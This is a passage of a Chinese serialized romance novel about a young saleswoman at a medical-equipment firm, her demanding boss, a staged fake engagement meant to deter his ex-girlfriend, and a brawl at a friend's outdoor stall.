辛熙初出茅庐,她第一次独立参加招投标,事情却比预料中顺利很多,招标会上被问到的问题,在她准备的资料里都有囊括,以至于辛熙觉得自己或许真是块做业务的好料。
周一去上班的步伐,都走出了点意气风发的味儿。
“什么事儿这么高兴?”叫住她的是何耀丹,一身干练又不失温雅的气质,刚从咖啡厅出来。
“耀丹姐,你回来啦”,辛熙往她的身后偷瞄。何耀丹是和姜渠一起出差的,她在这儿,那姜渠是不是也回来了?
何耀丹看出了她的小心思,笑问:“找姜总吗?放心,他下午才到。”
辛熙松了口气,又发现自己被看穿,有些不好意思地耸耸肩。
“他有那么可怕吗?”
“没有,没有”,辛熙赶紧摇头,“我就是敬畏领导。”
上学时躲老师,上班了躲领导,辛熙觉得自己可真没出息。
两个人一起进了电梯,何耀丹如今也是北区销售团队的一员,理应参加例会。辛熙借着和她同行的机会,问了几个这次在招标会上遇到的问题。
何耀丹一一解答。
辛熙暗自庆幸,还好自己当时的回答也大差不差的,信心就又更坚定了几分。
五月的例会一拖再拖,最后因为姜渠的时间实在调不过来,就连着六月的一起开了,并且改成了由赵志远暂代主持。这一举动,在北区引起了不小的轰动,或许,赵志远即将攀登上事业的又一个小高峰。
五个经理中,他资历最深,又base在京北,离权利中心最近,所负责的京津冀又属于核心场地,他的升职加薪几乎占据了天时地利。
月会上,赵志远是春风得意,红光满面的。
议程大多相同,报数、过细节,Push进度,只赵志远并没有足够的力量掌控全局,四个经理各有主意,线上线下的会议室里都乱糟糟地,一个小时过去,一点进展都没有。
正在跟进的单子没有拿得准的,掉了的单子半天找不出个核心原因,问就是,“我们都没想到......”
“都是做销售的,大家的困难我都知道,但这数据,第二个月没有完成线性增长的话,第三个月大家的压力会更大,姜总肯定也会特别关注......”
赵志远的满面红光变得暗淡。
“老赵啊,你去跟姜总说说,能不能调整下考核模式,现在又要增加合同收入,又要我们降低逾期账款,考核那什么BDR。”
“就是啊,业务增长必定会带来应收款项的增加,客户付款又有自己的周期,我们可做的事情很少。”
“考核内容都是global那边定的,姜总也没办法啊。”
一个个愁云惨淡,好好的月会变成了吐槽了大会。
辛熙依然坐在末尾,终于明白,在一群人的会议里,一个强势且能提出指导性意见的leader多么重要。
“李元,你那边大头都是代理商,你倒是没啥压力。”
李元坐在最角落,确实有几分置身事外,但被直接点到名,也得配合着抱怨几声,“那些代理商老板,还不是天天叫穷,说什么回款慢,流动资金不足。”
话题就又被转成了“医院客户好还是代理商客户好”的的争执中,离会议主题越来越远。
中场休息时,辛熙在楼梯口碰见卢湘。
自从辛熙接了新的工作后,她就鲜少再有时间同卢湘闲聊。
有人说,女生的友谊是靠一个个八卦维系的,辛熙想,她需要一些八卦,于是主动走过去,“嘿,你看热搜了吗?最近那个古偶剧爆火的男明星居然......”
卢湘背对着她,却分明能看见肩膀一耸一耸地,似在哭泣,在被辛熙打断后,手忙脚乱地掩饰起来。
辛熙有些发窘,她的热情不合时宜,慌忙拿起手机佯装打电话,“居然隐婚出轨还家暴。诶,早早,我就跟你说了啊,油头粉面的看着就不行......”
辛熙退到安全通道外,悄悄地关上了门,有销售过来,想要去楼道抽根烟,被她打发走,“阿姨刚打扫过,地上还是湿的,你去另一头吧。”
每个人都有不愿为人知的隐秘,辛熙有,她想卢湘也有。
等重新回到会议室,卢湘已经补好了妆,只有眼角微微地泛红,被好事人问起,她只一句玩笑带过。
走到辛熙身边时,卢湘朝她点头致意。
有时候,女生的友谊,也可以来源于一次心照不宣地避而不谈。
原以为下午的会议依然会是冗长的,谁知,会议刚开始,沉默了一上午的何耀丹忽然发言,“针对各位经理早上提到的回款问题,我有几点建议:第一,针对代理商,我们可以联系渠道管理部,增加应付款项方面的考核,对于信用周期良好的代理商,给与更高级别的评定,而评级对应的就是圈地;第二,医院付款流程长。这段时间我也和一些医院打过交道,切实了解到作为一线销售的困难,但我想,我们也不是什么都做不了。例如,院内流程我们是否有了解到每一个节点,以及这个节点的关键人,他看中的是什么?是临床要看我们服务质量,还是财务主任要把控医院的财务收支平衡,还是只是单纯的资金困难.......”
找到症结,才能对症下药。何耀丹还说很多,思路清晰又落在实处。
姜渠等何耀丹说完,才推门进来,“耀丹说得很好,我刚在外面听了一些。甲方客户选择乙方,无非考虑的是投入产出效益,越是高端设备越要使其效能发挥最大化,满足临床功能,所以我们首先要做的是精准定位决策人,挖
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掘出客户真正的需求点,这方面,大家可以和何工多交流,学习交付专家的思维模式。有困难、暴露出问题都不可怕!”
卢湘悄悄挪到辛熙身边耳语:“这何耀丹坐那儿看了一早上的戏,怕不是算准了姜总回来的时间,故意表现的吧。”
“啊~不应该吧?”辛熙往前面瞅了一眼,就感觉一阵眼风刮过,赶紧住了嘴,“先别聊了,不然又得挨批。”
有了姜渠的加入,会上再没人敢插科打诨,赵志远又重新把控全局,甚至在报数的时候特意提了这次津南二院的招标,“小辛不错啊,进步很大,我侧面打听了一下,院领导对我们很是满意。”
辛熙知道他在提点自己,探身向前,朝赵志远感激地笑笑。
“咦~那这单怎么没报上来?”何耀丹指了指了屏幕上的数据。
“院内的合同流程预计还要走一两月,保险起见,放在了下个季度。”
“三年维保这个价,赵经理这边的客情关系做得很好啊。”
赵志远不改笑脸,“主要是客户认可咱麦高的售后服务。”
何耀丹不再多说。
姜渠扫了一眼第三季度的报数,淡淡地问了一句,“结果出来了?”
“应该就在这周。”
“那就不要半场开香槟。”
辛熙像一个没有讨到赏的孩子,恹恹的情绪拖拉到了会议结束。
明明觉得自己很有进步,但他的一句话,就让自己的信心荡然全无,辛熙有些难受。
难受自己不被认可,也难受于情绪受其牵制。
那时候,她尚且不懂,自己寻求认可的出发点,究竟是发自于下属对上司,还是自己对那个人。
也更不懂,人真正需要的只有自我认同。
姜渠晚上有约,例会后便各自散去。
辛熙回到吉兆胡同,刚推开院门,看到客厅的门大敞,觉得奇怪,喊了一句,“英姨,今儿还没去跳舞吗?”
辛熙一边换鞋一边往里进,最先吸引眼球的是茶几和地上那些琳琅满目的包装盒,又贵又精致,然后就是端坐在沙发上,也是一身又贵又精致的漂亮女士。
有点眼熟,不会是明星吧?辛熙瞪大了眼,差一点“哇塞”出口,“您有客人呀?那我先回屋了”,辛熙用仅剩的理智压抑着脑海中的搜索引擎。
黎英倒是波澜不惊,“不用回避,家里来了客人,你帮着招呼一下。”
“你好”,辛熙客气地朝那位漂亮女士打招呼,虽然那位女士,从她进门起,就已经将自己全身上下内外扫视个遍,“我是......”
黎英替她介绍,“这就是我跟你说的,姜姜的未婚妻,我的外孙媳妇,辛熙。”
辛熙吃惊地看向她,并很快接收到了来自黎英的暗示。
或者说是明示?
黎英对佟歆亚说到:“你也看到了,姜姜现在已经有了新的感情,并且我们家里人都很喜欢这个女孩儿,不久后他们就会结婚生子,儿女双全,三年抱俩。总之,你和他已经是过去式。”
佟歆亚并不傻,“姥姥,您别骗我了。看她的表情,也是第一次知道自己是您外孙媳妇吧?”
辛熙也不傻,很快反应过来,三两步跨到黎英的面前,半蹲下,一副欣喜若狂的样子,“姥姥,您,您终于肯接纳我了。”
“你这孩子”,黎英甚至伸出手摸了摸辛熙的脑袋,颇为怜爱,“这些日子,你陪着我这个老太婆,体贴周道,多好的孩子啊,姥姥早就认可你了。”
婆媳情深的戏码,只能点到为止,再多,可就不好编了。
23. 第 23 章
两人相拥而泣的画面直接将佟歆亚气走,黎英让辛熙把她带来的礼品一并送出去,辛熙只能照做。但她毕竟不是专业演员,无法全情投入,尤其在看到佟歆亚那副我见尤怜的模样后,便觉得这位姜姜简直是......何德何能啊,让这么漂亮的女士为他登门。
辛熙试图安慰她,“其实我觉得姜姜配不上你。虽然性格品德才华这些我暂且看不出来,但单就这长相啊,你长得比他好看多了。俗话说,拜拜就拜拜,下一个更乖,我祝福你。”
辛熙自认自己是真诚的,却忘了自己此时拿到的尴尬的角色身份。
佟歆亚觉得自己正在面对一种很新很高级的绿茶,凝眉冷言:“你不用在这里阴阳怪气,Jim只是暂时生我的气罢了,你也不用在我面前装。”
Jim?那应该就是这位姜姜的英文名吧。
装?我这演技已经被拆穿了?果然不适合撒谎。
辛熙刚想道歉,却又听得她说:“Jim也不是真的多喜欢你,不然也不能留你在这老房子里陪老太太。”
啊......这......辛熙脑筋急转,试图在功败垂成之际力挽狂澜。
英姨的意思很明确,她不希望眼前这位漂亮的女士再登门,如果此时自己错给了她希望,岂不是起反作用,辛熙索性硬着头皮胡说:“是我自己主动来陪姥姥的。姜姜工作忙,姥姥年纪大了,需要人陪。你刚也听到了,我和姜姜已经订婚,下半年就会结婚,我们的未来很长,不急在这一时半会儿。姥姥住惯了老房子,我和姜姜已经说好了,我们就在胡同旁边那个......首府天成,都市理想国,买个新房,然后......”
她说得煞有介事,将下班路过那个新楼盘时看到的置业广告也信口假说进来。虽然就那个房价而言,那只可能是别人的理想国,而绝不会是她的。
佟歆亚信了,漂亮的脸蛋开始流露悲伤,但很快掩饰过去,小包一挎,墨镜一戴,一脚油门拐出了胡同。
辛熙有些愧疚,但......总算结束了这费脑子的一天。
回到屋里时,正听见黎英大发雷霆,对面应该就是那位姜姜了。辛熙只听到几个字眼,就匆匆进了自己的房间,关好了门。
非礼勿听!
“你是不是非得学你爸那样?”
“人姑娘都带着礼物找上门了。”
“是不是等哪天,就该带着孩子上门了?”
黎英可真怕某一天,自己一打开房门,看见一个婴儿车,里面躺着个嗷嗷直哭的小奶娃,而自己对此毫无准备。
佟歆亚会去找黎英,这是姜渠万万没有想到的。
姜渠倒觉得是自己低估了她,但他绝不相信那是因为她还爱他。
黎英的碎碎念还在从听筒里传来,姜渠连了蓝牙,一边在健身房里挥汗如雨,一边挨着骂。
徐进换好衣服,走到他旁边的跑步机,刚要说话,就被制止,便猜出了对面是谁,递给好兄弟一副“是不是需要拯救”的看戏表情。
黎英在对过程的描述中间杂着批评教育,瞧见辛熙此时已经走到了厨房弄晚餐,那副乖巧的模样,心中生起一个念头,便直接说了,“辛辛这姑娘呢,我瞧着是真不错。要不改天,介绍你俩认识认识?你也该考虑个人问题了,把你那些花花肠子都收起来。要真能成,那是便宜你小子了。”
“是,是”,姜渠敷衍着,一边拆下耳机递给了徐进。
黎英把辛熙叫过来,“姜姜听说你今天帮了忙,说要亲自谢谢你。”
辛熙虽然帮了忙,但对这位姜姜的印象却不怎么好,多大的人了,谈个恋爱还要家长出面解决问题。但她被架到了手机旁,只好轻轻地朝对面打了个招呼,“你好。”
“你好呀!”徐进刚戴上耳机就听到这句话,立马回了她。
两个人简单聊了几句,徐进是那种可以把一句话翻出花样说百遍的人,辛熙也礼貌地配合着,两个人都给旁边的人营造出了一种“相谈甚欢”的错觉,并以“改天有时间一起吃饭”结束通话。
徐进将电话还给姜渠,“听声音,是个甜甜的小姑娘啊,干嘛不乐意接。”
“你刚是在约小姑娘吃饭?”
“嗯,吃个饭怎么了,你要不乐意,吃饭我也可以替你去。”
真是够可以的,姜渠有种想要一脚将他踹倒在跑步机上的冲动。
正此时,一个穿着瑜伽服的女人朝他们走来。女人的身材很好,保养得宜,看得出来十分自律。只那神情间不经意流露的傲气,和佟歆亚如出一辙。
女人直截了当,对自己的意图毫不掩饰,“两位帅哥经常来这家健身会所吗?”
徐进看姜渠不想搭理,帮着回答:“是啊,他住在这附近。”
“这附近?”女人笑笑,“这附近的房价可不低,天玺还是悦城?”
她说的这两个小区是这附近出了名的豪和贵,其他的,在她这儿,仿佛都不值得一提。
“都不是,租的”,姜渠关了跑步机,打算离开。
“哦,没事,你还年轻,未来大有可为”,说着,女人走到他正对面,掏出了手机,“姐平日里做些投资,时间比较多,也喜欢健身,有机会可以一起啊?当交个朋友?”
女人将二维码递到了姜渠面前,徐进早看明白了她的意图,在一旁偷着笑,百无聊赖地看戏。从他俩认识起,就不乏女人主动示好,主动追求,徐进可见过太多名场面了,以至于对于姜渠如何拒绝早已习以为常。
可这次他说什么?徐进怀疑自己的耳朵。
他说:“好啊,但我手机没电了,我直接给你添加微信号。”
徐进满脸问号,在女人心满意得地离开后,问他,“你怎么回事儿?被佟歆亚刺激到了?你没听出那姐的意思是想包养你?”
“你听出来了?”
“嗯啊,傻子才听不出来。”
“那正好。”
姜渠收拾起自己的东西往外走,徐进赶紧跟上,“什么正好?老姜,我说你够可以的啊。这是找到捷径,要直攀高峰了啊。”
“正好,看在你这么懂姐心思的份儿上,捷径让给你。”
“什么意思?”徐进有了不好的预感。
手机滴滴传来的讯息声音代替姜渠作了回答,徐进赶紧删了上面的好友添加:谢谢,牙口好,不吃软饭。
过了两天,津南二院的招标出了结果,但麦高并没有中标。
赵志远黑着脸到公司,直接拎着辛熙进了姜渠的办公室,施琪刚好也在,询问的眼神看向辛熙,辛熙只能苦笑。
“这事是我们失误,单子丢给了三方。”
姜渠并不意外,“原因?”
“应该是价格”,赵志远这点人脉关系还是有的,结果刚出,他就拿到了一手讯息,“三方是全包,但价格,比我们低。”
“低多少?”姜渠抬眼扫过赵志远,又落在稍微后面的辛熙身上,小姑娘将头埋得很低,想必之前已经
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挨过训了。
不至于就哭了吧?
“百分之五。”
“那不算低价。”
赵志远看不懂姜渠,但他知道,之前信誓旦旦的承诺掉了,老板肯定会不高兴,于是朝辛熙低声怒斥:“还愣着干嘛?事前的风险预警为什么没做?事后的分析,丢单原因、补救措施,下班之前给出来。再联系下采购科,看还有没有其他的机会,你如今是业务助理,不是销售支持了,要有业务上的敏锐度。”
辛熙“哦”了一声,欲言又止。
赵志远训完,又再望向姜渠,询问:“那姜总,你看这......”
姜渠支着下巴,似乎有些不解,问:“这单子是她的?”
赵志远如实回答,“客户是张鑫的,他当时实在挤不开时间,所以请了小辛帮忙,也是想给小辛锻炼的机会,让她多接触接触实际的业务工作。当然,也不能全怪小辛,我也有责任,没有顾得上多嘱咐两句。”
“你多嘱咐两句,这单就能不丢了?”姜渠说这话的时候并没有什么表情,目光依然很淡,无声无息从低垂的圆脑袋上移开。
赵志远提着气,生怕再多说多错。
“既然张鑫成天这么忙,那这家客户以后就都交给她跟吧”。
埋头的辛熙终于抬起了头,一脸吃惊。
赵志远同样意外,但并未像辛熙一样表露出来。
津南二院在麦高也算是一级客户,往年贡献的业务不算少,不过今年落标了,也意味着未来几年都很难出新业务,将这样的客户交给初出茅庐的傻姑娘,只能是为了责罚张鑫的不作为?
“你也和其他的销售经理同步一下,如果谁嫌手上的客户太多跟不过来的,我不介意他们交给其他人。”
“明白,姜总。”
姜渠随后又补了一句,话却是对辛熙说的,“既然有了客户,销售任务也得扛。”
辛熙的吃惊变成惊吓,“我吗?”
“不是想做销售?不想做了?”
做肯定是想做的,可没见过哪家公司就给销售人员分配一个客户的,辛熙不想硬着头皮答应,问:“是......就这一家?”
“你还想要多少?”
姜渠似笑非笑地盯着她,刚才还一副任人拿捏的待宰模样,一会儿功夫就昂扬起来了。
划定客户是直线经理的事情,姜渠并不想越权,他看向赵志远,将问题甩给了他。
赵志远犯了难。
辛熙无非是很好用的辅助工具,否则他也不会接二连三地在姜渠面前提点她,但真要她做销售,披褂上阵去谈业务,赵志远从不认为她适合。
一旁的施琪打了个助攻,“津南那块儿的医院,我们现在没几家在合作了吧?”
赵志远忙解释,“是这样的,津南比较偏,三级以上的医院不多,小医院普遍倾向于单次购买”,而单次服务的奖金提成少得可怜,像张鑫这样的大销售基本赖得管,偶尔做一两单,也只是为了应付公司的考核指标。
赵志远终于想出了个折中的方法,“姜总,您看这样成吗?张鑫现在负责的区域跨度确实比较大,要不,除了张鑫手上已经有合作的几家医院外,津南地区,都可以让小辛去跟,他俩谁先出单,客户就算谁的。”
姜渠哪能看不懂他的盘算,做经理的,又要靠底下的销售出业绩,又得防其功高盖主,但这不是他需要解决的问题,于是说:“那就这么办吧。但这次丢单的数,要补上。”
24. 第 24 章
补上?谁补?
辛熙直到走出办公室都还有些懵,她原本做好挨骂的准备了,怎么话没说两句,自己就摇身变成了一个手握区域资源的销售了?
太奇怪了,辛熙停住脚步,转过身悄摸地透过磨砂玻璃往办公室里探看,想看明白个一二三。
姜渠刚起身,外套脱到一半,就感觉一道目光从窗帘缝里直直地盯过来,那小表情是红唇微张、眉眼相挤,好像......动物园的游客,在对展览橱窗里的动物评头论足。
姜渠停下手上的动作,果断按下了百叶窗的遥控按键。
视线很快被灰白色隔断,窗外的人理智回笼,灰溜溜地往工位跑。
太丢人了?跟个偷窥狂似的......
辛熙经过茶水间时被卢湘截住,拉进了洗手间,因为上一次她的撞破不说破,卢湘最近对她亲热了很多,关心地问:“干嘛?脸怎么这么红?又挨批了?老赵又让你当背锅侠了吧?”
“没有,赵经理跟我提前通过气,说他会在姜总面前说我几句,就是应付老板交差,让我到时就保持沉默低头认错扮可怜,就行。他先骂了我几句,姜总就不好意思再多说什么了。”
“老赵这么跟你说的?”卢湘撇撇嘴,多少有些恨铁不成钢,“你都来麦高一年了,还没学聪明。他要真为你好,怎么不把张鑫找来演?”
“张鑫在客户那儿吧......”
卢湘哼了一声,“什么在客户那儿,也就你信!那是因为张鑫是北区的top sales,老赵不敢骂!”
“但赵经理对其他销售,也蛮好的咧”,人前一直客客气气地,从来没有对底下人吼过,辛熙一直认为这是赵志远性格温和之故。
卢湘合上补妆的气垫粉盒,确定洗手间再没有其他人,才说:“有些人啊,表面笑呵呵,背地里指不定是什么心思。姐劝你一句,别被老赵的表面功夫给骗了。”
“哦,行。”
“傻姑娘。”
周末,辛熙依然去给林早帮忙。
她们的小地摊已经发展成了翡翠湖最大最成熟的野生产业,坐拥两大充气城堡屹立在平坦处,上面来回穿梭着孩子们银铃般的笑声。
林大荣日渐恢复,偶尔过来帮忙,夏淑芬周末休假就天天过来,辛熙逐渐放了手,只有空的时候过来帮个忙。今天夏淑芬要带林大荣去医院复查,辛熙自然接了班。
林早依然坚持这个摊子有一半是辛熙的,毕竟当初启动资金的一大半都是她出的,后来增设气垫城堡,也是她帮着出了大头。
辛熙却不肯要,出钱的时候,她说就当投资了,要是亏了也正常。如今生意好了,她说,“钱就当是借给你的,等赚了钱,你还我本金就行。”
话各有说的,心意自然都懂。
“你们公司这小姑娘不错啊”,徐进坐在半坡的草地上,将这件事说给了身边的姜渠听。他的露营基地快要完工,这周又拉着姜渠过来视察,美其名曰,“看看你的钱都花到了哪里。”
夏初的太阳底下已经不敢久坐,姜渠起身,却并不给好兄弟留面子,“劝你一句,玩,跟爱玩的人玩,别去祸祸人家本本分分的姑娘。”
“我祸害谁了?”徐进不服气。
姜渠盯着他,并没有回答,心照不宣的话根本用不着点明,两个颀长的身影在半坡上对立,反倒成了一道风景,引人注目。
徐进依然那副玩世不恭的模样,拍干净身上的草灰,“放心,我有分寸。人姑娘就是找我咨询了点做生意的事情,一起吃过两顿饭而已。”
“最好是。”
“当然,我也不会想给自己找麻烦的。”
其实辛熙也感觉到了林早和徐进之间的不同寻常,比如林早总是会不自觉地朝那边探望,然后在看到他后,眼神躲闪,脸部潮红,辛熙自然明白那意味着什么,但她不知道事情是怎么发展至此的,也不知道会走向何方。
她并不认为自己有插手别人感情的权利,如果可以,她希望自己可以顺利绕开别人的爱情领域。
但很快,她却被搅进了一场乱局。
起先是一群年轻人毫无预兆地冲上了气垫城堡,轰走了上面玩耍的小孩子,孩子们被吓得嗷嗷直哭,不服气的家长和这群小年轻开始拉扯,发展出了一些身体上的摩擦。辛熙还算眼疾手快,在一个混乱的场面里,接住了一个险些摔下来的小朋友,避免了无辜的损伤。
场面一度十分混乱。
闹事的人以一个穿着紧身裙,脚踩细高跟的年轻女士为首,细高跟踩在PVC布料上,险些就要直接刺穿。在得到细高跟女士的眼神示意后,她的同伙拿出小刀,几刀快速地划过充气层,充气城堡摇摇欲坠,迅速地瘪下去,而后奄奄一息。
林早终于看清了闹事者,冲上去将细高跟的女士狠狠一推,怒喝:“吴燕妮,你发什么疯!”
被叫做吴燕妮的女人却又翻身将林早压倒,“林早,我是不是警告过你,离徐进远一点,你偏要像只狗皮膏药一样贴上来,是吧!不要脸!”
辛熙根本来不及脑补这出闹剧的前因后果,只急匆匆地冲上去拉架,而随吴燕妮一道来的青年男女早就跟着扑了上来,几个人将林早围在蔫了气的塑料堆中。
带孩子的家长看明白状况,纷纷拉着孩子退到了战局外,谁也不想受到牵连。
辛熙使尽力气,高举着手机,挤到了林早身边,对吴燕妮一行人说:“住手,我已经把你们刚才的行为都录了下来,如果你们继续行凶,我会报警,这视频就会是给你们定罪的证据。”
吴燕妮显然早有准备,不以为意,“行啊,报警啊,我们只是见义勇为,看不惯你们非法经营”,说完,还朝旁边的人吆喝,“大家可别到这种黑商家这里消费啊,营业执照都没有,也不交税,出了事,消费者权益谁来保障。”
辛熙和林早,对此无法反驳,但林早拿出手机,拨了个电话出去,“徐进,你走了吗?吴燕妮在我摊子这儿,对,嗯,好,我等你。”
“还敢告状!”
吴燕妮见状冲上来抢手机,扬起的巴掌被林早截住,“吴燕妮你可真有本事。你为了个男人找我茬,现在却不敢见他把话说清楚吗?”
吴燕妮当然不怕徐进。她喜欢徐进,人怎么可能喜欢自己害怕的人呢。但吴燕妮怕徐进身边的那个男人,他是徐进最好的朋友,却和徐进是截然相反的两种风格。
明明家世背景这些远远比不上他们,却在他们面前有种莫名地傲气,就连一向最骄傲的表姐在这个男人面前都像是只脱了色的孔雀。
吴燕妮想躲,她知道他们今天在一起,也是看着他们下了山,才出手的。
但林早的话把她架在这儿了,她说:“徐进让你等他。”
徐进接到电话的时候,他们的车子刚驶上盘山公路,蜿蜒曲折的山路,姜渠直接在半道调头,徐进从后视镜里看着那悬在崖边打转的半个车轮,默默拉住了上方的拉环。
“
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倒也不用那么着急,吴燕妮什么性子你还不知道啊,雷声大雨点小的。”
姜渠一边转着方向盘,脚下的油门半点不松。
他们赶到的时候,看热闹的人已经散开,两拨人已经泄了气,各自盘踞在一个憋了气的城堡上。
吴燕妮率先看到徐进,激动地朝他挥手,“徐进,这边。怎么这么快就到了?”
徐进已经连着很长的时间不肯见她了,所以哪怕可能被骂,她依然为见到他而欢呼雀跃。
“你不知道我今天就在栖云山?”徐进原本是没太生气的,但他没想到吴燕妮这次会做得这么过。看着先前还热火朝天的摊子变成如今这模样,俩姑娘还一身狼狈相,语气难得地严肃起来。
“徐进”,林早走向他,带着几分破碎感,和神采飞扬的吴燕妮形成鲜明对比。
徐进的愤怒就又添了两分,扶住险些跌倒的林早,愧疚感加深,对吴燕妮说:“你这次简直太过分了!”
吴燕妮有些难以相信,委委屈屈地也想哭,她何曾这么被人凶过,看着林早的模样就更来气,冲上去要动手,“你装什么装!”
辛熙看到这一幕,正想上前制止,却被姜渠拦住,“还嫌麻烦少了?”
被公司老板发现自己涉嫌非法经营和打架斗殴,应该足够理由被开除了吧?辛熙后知后觉地忐忑起来,嗫喏着,“不是我们惹事儿。”
姜渠沉着脸,“有没有哪里受伤?需不需要去医院?”
“没有,没有”,辛熙赶紧否认,双手快速地将自己从头摸到底,以展示自己完好无损,甚至带着几分得意说:“我这次有经验了,没往人多的地方凑。”
“经验?”
“嗯啊,我大概是本命年不顺吧。上回在公司.......哦,上回是我房东阿姨他们为了跳广场舞抢地盘的事情和别的人起了冲突,我去劝架,结果因为没经验,错挤到了正中间,白挨了好些揍。”
还好没把在公司的那一次说漏嘴,不然真就显得自己惹是生非了。
姜渠听着这故事......怎么有些耳熟?现在的老年人都这么狂躁的吗?
辛熙倒没注意到姜渠的异样,一边取下发圈,将马尾胡乱地抓了几把,绕在后脑勺,一边盯着不远处的林早三人,生怕吴燕妮再动起手。
“姜总,我可不可以问您一个问题?”
“不可以”,姜渠不无好气地说。
但她还是要问,“您这位朋友,靠不靠谱啊?”辛熙想到之前林早问自己的那句,原来那时候就已经有了苗头。
“不靠谱,最好,让你的朋友离他远一点。”
“嗯,我现在也觉得不靠谱了。”
“你之前觉得他靠谱过?”什么眼神!
“之前早早问过我,我想他是您的朋友应该是靠谱的,不都说物以类聚人以群分嘛,结果......哎!果然!”
哎什么哎!什么果然!姜渠莫名其妙,忽又反应过来,这是在拐了弯说自己不靠谱呗!
“什么时候学得阴阳怪气?”
嗯?辛熙装着糊涂,“姜总,他们是不是要打起来了?我再去劝劝啊~劝劝~”
他们当然没有打起来,但胜负已分,徐进和林早站到了一边。
吴燕妮孤立无援,她的小伙伴们早在姜渠他们回来时之前就四散而去。吴燕妮哭哭唧唧,在看到正在走来的身影时才止住了哭声,朝来人委屈地控诉,“歆亚姐,你终于来了......”
25. 第 25 章
辛熙开始了她进入职场后,最为忙碌的一段时间。
她需要每天往返于京北和津南之间,跑遍了负责的行政区域内所有的公立、民营,专科,乡镇卫生院,一边统计信息,一边寻找业务机会。
可是太难了,大医院饱和、小医院没有需求,费时又费力。后来索性向赵志远申请了住房补贴,在津南的小宾馆租了个单间,省下来的通勤时间可以多跑几个地方。
黎英只当她年轻人有拼劲是好事,叮嘱她别太累着自己。
她当然也没有向直接向辛熙表达想要撮合的想法,毕竟她太了解这个姑娘,如果她出面说了,辛熙即便心里再不想,也会为了顾及她,要么为难自己应付着,要么坐立难安,找借口搬走了。
黎英直接给姜渠打了个电话,追问:“之前让你请辛辛吃饭,你给我请哪里去了?”
“辛辛?”姜渠刚从跑步机上下来,反应了三秒,“您那租客?”
“人家小姑娘漂漂亮亮地,能干、乖巧又懂事,你别不知好歹。姥姥是过来人,知道什么样的才是最好的,我还能害你不成,你啊,别被那些个花里胡哨的迷了眼......”
老生常谈的话题,重复八百遍的话,只不过现在,姜渠对姥姥口中描述的这个完美对象,有了具象的认知。
漂亮吗?也还行。
能干吗?有待观察。
乖巧吗?那可不一定。
懂事吗?呵呵,只懂逃跑。
辛熙至今依然不敢回想那天的那个修罗场画面,当时的脚指头真的能原地抠出一栋山景别墅来。
太尴尬了!
她应该在听到吴燕妮叫姜渠“姐夫”时就警觉的,虽然姜渠并没有搭理她。
辛熙为自己的反应迟钝无声哀嚎。
如果自己当时能够及时有这层觉悟,应该就能在佟歆亚扬起巴掌挥过来时闪身躲避,甚至美女救英雄地拉开姜渠,也不至于让姜渠硬挺着挨了这么一下。
在场的都傻眼了。
吴燕妮觉得奇怪,支支吾吾地解释:“表姐,这事儿和姐夫没关系啊。”他和徐进关系再好,也应该没有责任为徐进的感情烂账背锅吧?
佟歆亚没有搭理吴燕妮,她只觉得姜渠做得太过分了,居然带着这个女人到她的面前来示威,“Jim,这就是你报复我的方式?”
姜渠平白挨了这么一下,待想明白后知道是她误会了,觉得莫名其妙,但也赖得解释,“随你怎么想吧!”
辛熙的脑筋已经在高负荷地转动,Jim......姜姜......姜渠......姜总,四合一了!“你,你,你们......”半天说不出一句完整的话来。
佟歆亚看着姜渠身边表情变幻的女人,无法相信自己会有一天输给这样的人,质问:“你真的要为了她和我分手?”
想辩解的辛熙手足无措,“不是,我不是......”
姜渠咬着后牙槽,重复的话说上三遍就会让他觉得烦躁,可他不得不再一次强调,“佟歆亚,回国之前我们就已经分手了!”
他很难保持平和。这段感情里,他不亏欠佟歆亚。可莫名其妙地挨了一巴掌,反倒让此刻的自己像极了越轨的负心汉。
再一看旁边的人,好嘛,一副好像自己是什么臭狗屎一样,半掩面,躲远了几步。
糟糕的心情雪上加霜。
吴燕妮震惊了,这比听徐进说只把自己当妹妹还要不可思议,而此时的徐进扶着林早走过来,身份角色自动转变成了看客。
人人都觉得自己在看一出好戏,只有局中人情绪饱满。
“我们没有分手,Jim,我没有同意!”这几乎是佟歆亚回国后最失态的一次,并问出了她曾经最嗤之以鼻的那句,“她到底哪里比我好?”
姜渠并不想连累无辜,说:“这和她没有关系。”
辛熙在一旁止不住地点头。虽然他俩分手和自己没有关系,可此情此景却很难将自己摘干净,“额,这中间应该有点误会......”
“你闭嘴!”佟歆亚喝止了她的解释,转而继续质问姜渠,“没有关系?Jim,我们在一起那么久,我请你陪我留在美国,我主动向你求婚,你怎么说的?”
“歆亚,别在这里闹。有什么话,我们找个地儿坐下来慢慢聊。”徐进终于有些看不下去,出来劝说。
“是啊,表姐,要不我们先回去。”
“为什么非得跟她有关系?”姜渠不理解,他俩分手时还不认识辛熙,“我们的关系在回国之前就已经结束了,佟歆亚,别再把你的骄傲折在我这儿了。”
佟歆亚当然不相信,指着辛熙,继续追问:“就因为她可以帮你照顾老太太?”
姜渠一脸疑惑,“谁照顾谁?”
辛熙作为在场第一个勘破天机的观众,低下了羞愧的头颅,小声解释:“如果你们不赶时间的话,要不听我解释解释?”否则真觉得自己会因为胡说八道而被雷劈。
姜渠并没有给她机会解释,反而借坡下驴,拿足了姿态,“自然不是。我选择谁,只会因为她是她。”
多么坚定的语气啊,要不是她早跳出了角色,真的可以感动到飙泪。
佟歆亚彻底死了心,可今天她没有戴墨镜出门,以致于眼底那浓到令人怜悯的悲戚被迫昭示天下了。
“Jim,我永远都不会祝福你们”,这是孔雀公主最后的骄傲。
“随意!”
辛熙心怀愧疚几欲解释,半抬的手却被姜渠顺势抓住,对佟歆亚说:“但我们,会祝福你。”
还“我们”,装得多大气啊!无非就是想在前女友面前扳回一局罢了。即便是在公司雷厉风行的GM,在感情面前,不也还是一个幼稚鬼。
辛熙弯动二指,在姜渠的手心里抠了抠,人凑得近一些,匆匆地解释了两句,“姜总,她可能误会咱俩的关系了。那天是我欠考虑,冒认了您未婚妻的身份,主要我也没想到他们说的姜姜就是您呐......现在可都不兴这种让女孩子吃醋的路子了,您如果继续这样赌气,人气走了,将来可有得后悔的。”
姜渠回瞪了她一眼,手掌使了点力,禁锢住掌中乱动的手指,“先安静。”
“哦。”
佟歆亚转身走了,吴燕妮追着她去了。
车子重新驶上盘山公路时,天光已近昏暗,陆续有小摊贩撤离,骑着电三轮车横穿,和来郊游的汽车、行人,见缝插针地抢道。
四周都是焦急地喇叭音,吵得人头昏脑涨,姜渠一言不发,辛熙几次想开口,都被他冷肃的表情给吓了回去。她从小就不善于撒谎,在捋清事情的脉络后,她就只打定一个主意:从实从速地招。
